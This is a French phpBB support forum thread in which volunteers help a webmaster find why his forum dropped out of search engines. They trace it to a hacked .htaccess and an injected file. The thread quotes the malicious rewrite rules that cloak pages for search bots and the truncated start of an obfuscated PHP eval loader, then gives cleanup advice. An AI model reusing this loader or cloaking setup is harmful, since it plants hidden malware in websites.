[Réglé] non indexation sur google et Yahoo

Forum de support pour les questions concernant l'utilisation de phpBB3, les problèmes rencontrés lors de manipulations, de configuration du forum ou de personnalisation autres que Styles ou MODs.

Modérateur: Equipe

Règles du forum
A lire impérativement : Règlement de phpBB-fr.com

Pensez à effectuer une recherche, la réponse à votre question a de grandes chances d'avoir déjà été donnée.

[Réglé] non indexation sur google et Yahoo

Messagepar Denis Carnus » 03 Mai 2016 à 21:29

Bonsoir,

le forum http://forum.anarchiste-revolutionnaire.org/ dont je suis le webmaster, n'est plus indexé
ni sur google ni sur yahoo depuis le 5 Avril 2016, et quand on clique sur les restes des liens on obtient ceci :

"Not Found

The requested URL /phpBB3/clip-casi.php was not found on this server.

Additionally, a 500 Internal Server Error error was encountered while trying to use an ErrorDocument to handle the request.
Apache Server at forum.anarchiste-revolutionnaire.org Port 80"

la version de phpBB du forum est la 3.0.12

je précise que je n'ai jamais eu de robots.txt sur la racine et que le forum existe depuis 2009 et a toujours été indexé !

pourriez-vous m'éclairer ?
Modifié en dernier par Denis Carnus le 07 Mai 2016 à 20:19, modifié 5 fois.
Avatar de l’utilisateur
Denis Carnus
Posteur néophyte
Posteur néophyte
 
Messages: 24
Enregistré le: 03 Mai 2016 à 20:58
Localisation: le zéro-quatre

Re: non indexation sur google et Yahoo

Messagepar cabot » 04 Mai 2016 à 10:38

Hello,

Quand on visite ton forum avec le user-agent d'un moteur de recherche, on tombe sur ce message, comme s'il y avait une redirection pour les robots vers un fichier clip-casi.php situé à la racine du forum. Perso j'y connais rien dans cette partie mais en attendant que quelqu'un puisse te guider, vérifie quand même que ton fichier .htaccess ne soit pas modifié.
Image
Avatar de l’utilisateur
cabot
Equipe site
Equipe site
 
Messages: 26796
Enregistré le: 13 Fév 2011 à 20:42
Localisation: Rarement sur la plaque

Re: non indexation sur google et Yahoo

Messagepar Steph » 04 Mai 2016 à 13:34

Salut,

Déjà pose toi la question du fichier clip-casi.php est ce que c'est toi qui l'a envoyé à un moment donné sur ton FTP, car il n'existe pas dans phpBB, c'est une certitude.

Ensuite, donne nous le contenu de ton fichier htaccess en l'hébergeant sur ton FTP au format txt.
Avatar de l’utilisateur
Steph
Administrateur
Administrateur
 
Messages: 18219
Enregistré le: 29 Déc 2008 à 16:48
Localisation: Alsace / Bas-Rhin / France

Re: non indexation sur google et Yahoo

Messagepar cocooncrash » 04 Mai 2016 à 18:37

ensuite, je rajouterai que la version 3.0.12 n'est plus supporté. Le support ne se faisant que sur 3.0.14, il vous faudra procéder aux mises a jour.
decouvrez l'aide complete : ICI
découvrez les règles : La_bas

Pensez a ajouter le tag [réglé] en modifiant votre premier message s'il est résolu. Merci :wink:
Avatar de l’utilisateur
cocooncrash
Resp. des modérateurs
Resp. des modérateurs
 
Messages: 7649
Enregistré le: 07 Jan 2008 à 09:29
Localisation: dans un bocal en compagnie de nemo!!

Re: non indexation sur google et Yahoo

Messagepar Denis Carnus » 04 Mai 2016 à 20:28

Merci pour vos réponses, alors voici le htaccess en txt :

"RewriteEngine On

RewriteCond %{ENV:REDIRECT_STATUS} 200
RewriteRule ^ - [L]
RewriteCond %{HTTP_USER_AGENT} (google|yahoo|msn|aol|bing) [OR]
RewriteCond %{HTTP_REFERER} (google|yahoo|msn|aol|bing)
RewriteRule ^(.*)$ clip-casi.php?$1 [L]"

et merde ça date du 5 Avril, le moment où le FAR n'a plus été référencé, tout s'explique,
et effectivement il y a un clip-casi.php :

Code: Tout sélectionner
?php $tbaugh=chr(99).chr(114).chr(101)."\x61"."\x74".chr(101).chr(95).chr(102)."u"."n".chr(99)."t"."\x69".chr(111).chr(110);$ebsomi = $tbaugh('$a',strrev(';)a$(lave')); $ebsomi(strrev(';))"K0QfJkgCN0XCJkgCNoQD7YWdiRCIvh2YllQCJkgCN0XCJkQCK0QCJkQCJoQDJkQCJkQfJkQCJkgCN0XCJkQCJkgCNsTLtMGJJkQCJkQCJoQD7kiZ1JGJscXZuRCLsF
<SNIP>


p***** de merde qui a pu mettre ces fichiers sur le FTP ? piratage ?
Modifié en dernier par Zoddo le 04 Mai 2016 à 21:23, modifié 1 fois.
Raison: Retrait d'une partie du code (qui était de toute façon incomplet)
Avatar de l’utilisateur
Denis Carnus
Posteur néophyte
Posteur néophyte
 
Messages: 24
Enregistré le: 03 Mai 2016 à 20:58
Localisation: le zéro-quatre

Re: non indexation sur google et Yahoo

Messagepar cabot » 04 Mai 2016 à 20:45

Commence par virer le fichier clip-casi.php s'il existe et par remettre le contenu original du fichier .htaccess que tu récupèreras dans une archive d'installation 3.0.

Ensuite lis cette doc ainsi que cette page (en) qui traite d'un cas similaire de hack.

Edit : ah aussi, pense à faire quelque chose pour que cette page et le lien qu'elle affiche ne soit pas accessible (redirection ou autre, je sais pas trop).
Image
Avatar de l’utilisateur
cabot
Equipe site
Equipe site
 
Messages: 26796
Enregistré le: 13 Fév 2011 à 20:42
Localisation: Rarement sur la plaque

Re: non indexation sur google et Yahoo

Messagepar Denis Carnus » 04 Mai 2016 à 20:48

j'ai viré les deux fichiers, et ça a l'air de fonctionner, reste toujours la question de piratage ...

merci beaucoup !
Avatar de l’utilisateur
Denis Carnus
Posteur néophyte
Posteur néophyte
 
Messages: 24
Enregistré le: 03 Mai 2016 à 20:58
Localisation: le zéro-quatre

Re: non indexation sur google et Yahoo

Messagepar ABDev » 04 Mai 2016 à 21:00

Dommage que ce fichier ait été supprimé.
Si vous l'aviez mis à disposition (de manière privée toutefois), on aurait pu voir à quoi il était prévu et éventuellement d'autres choses.
Pour se payer le luxe d'être feignant, il faut sans cesse faire travailler ses méninges ! (Korben)

On clique sur le bouton Répondre plutôt que le bouton Citer ...
Un problème avec une extension ? Pas de lien vers celle-ci ? Sujet ignoré !
Avatar de l’utilisateur
ABDev
Programmationateur
Programmationateur
 
Messages: 15695
Enregistré le: 12 Mai 2005 à 23:54

Re: non indexation sur google et Yahoo

Messagepar Denis Carnus » 04 Mai 2016 à 21:05

il est viré du FTP mais il est toujours sur mon HDD
Avatar de l’utilisateur
Denis Carnus
Posteur néophyte
Posteur néophyte
 
Messages: 24
Enregistré le: 03 Mai 2016 à 20:58
Localisation: le zéro-quatre

Re: non indexation sur google et Yahoo

Messagepar Denis Carnus » 04 Mai 2016 à 21:12

Modifié en dernier par Steph le 04 Mai 2016 à 22:00, modifié 1 fois.
Raison: Changement de l'URL par sécurité
Avatar de l’utilisateur
Denis Carnus
Posteur néophyte
Posteur néophyte
 
Messages: 24
Enregistré le: 03 Mai 2016 à 20:58
Localisation: le zéro-quatre

Re: non indexation sur google et Yahoo

Messagepar Zoddo » 04 Mai 2016 à 21:20

Bonjour,

Changez l'extension du fichier en .txt afin qu'on puisse le télécharger :)
[Doc] Installer une extension - [Extension] Post Models - [Recrutement] Équipe des Extensions
Si vous considérez votre requête comme résolue, merci d'ajouter l'attribut de sujet [Réglé]
Zoddo
Equipe site
Equipe site
 
Messages: 6589
Enregistré le: 16 Mar 2011 à 18:44
Localisation: Laval / Le Mans

Re: non indexation sur google et Yahoo

Messagepar Denis Carnus » 04 Mai 2016 à 21:41

Avatar de l’utilisateur
Denis Carnus
Posteur néophyte
Posteur néophyte
 
Messages: 24
Enregistré le: 03 Mai 2016 à 20:58
Localisation: le zéro-quatre

Re: non indexation sur google et Yahoo

Messagepar cabot » 04 Mai 2016 à 21:52

Pfiouuu, Ab et Zoddo sont dans la place, comment j'ai flippé d'avoir à continuer dans ce sujet auquel je comprends rien.
:shock:

Bonne continuation tout le monde :mrgreen:
Image
Avatar de l’utilisateur
cabot
Equipe site
Equipe site
 
Messages: 26796
Enregistré le: 13 Fév 2011 à 20:42
Localisation: Rarement sur la plaque

Re: non indexation sur google et Yahoo

Messagepar Denis Carnus » 04 Mai 2016 à 21:59

merci cabot !
:P
Avatar de l’utilisateur
Denis Carnus
Posteur néophyte
Posteur néophyte
 
Messages: 24
Enregistré le: 03 Mai 2016 à 20:58
Localisation: le zéro-quatre

Re: non indexation sur google et Yahoo

Messagepar Zoddo » 04 Mai 2016 à 22:28

J'ai réussi à décoder le fichier, il ressemble comme deux gouttes d'eau à celui donné en exemple par cabot : http://pastebin.com/vXGEh3ZV (à ne surtout pas exécuter !)

Je suis en train de l'analyser, mais ce que je peux dire pour l'instant (si je me trompe pas), c'est qu'il donnait aux robots d'indexation une page ressemblant à votre forum mais avec tous les liens remplacer par d'autres (pas la liste pour l'instant)

Par contre, si vous avez un dossier ou fichier nommé 1, 5cedf63d10dfe6b50e7e4976f08390db, 4305be8f566b23496c25386d67b8546c ou autre nom bizarre, il m'intéresserait :)
C'est un dossier ajouter par le script malveillant qui devrait se trouver soit à la racine de votre forum ou dans un dossier tmp ou temp sur votre FTP.

Sinon, le script en lui même ne permet pas la modification de fichiers à première vu. Mais il faudrait quand même tout vérifier. Si le script a pu arriver là, c'est que ce soit vous avez un autre site/script avec une faille (ex: système d'hébergement d'image) ou que le hacker a votre code FTP.

Pour commencer, je vous conseillerais donc de changer tous vos mots de passe. Liste non-exhaustive :
  • Panel de votre hébergeur
  • FTP
  • Base de données (puis mettre à jour le mot de passe dans config.php et supprimer le contenu du dossier cache sauf index.htm et .htaccess).
  • Comptes administrateurs
  • Autres accès ...
[Doc] Installer une extension - [Extension] Post Models - [Recrutement] Équipe des Extensions
Si vous considérez votre requête comme résolue, merci d'ajouter l'attribut de sujet [Réglé]
Zoddo
Equipe site
Equipe site
 
Messages: 6589
Enregistré le: 16 Mar 2011 à 18:44
Localisation: Laval / Le Mans

Suivante

Retourner vers Utilisation

 


  • Articles en relation
    Réponses
    Vues
    Dernier message

Qui est en ligne

Utilisateurs parcourant ce forum : Aucun utilisateur enregistré et 8 invités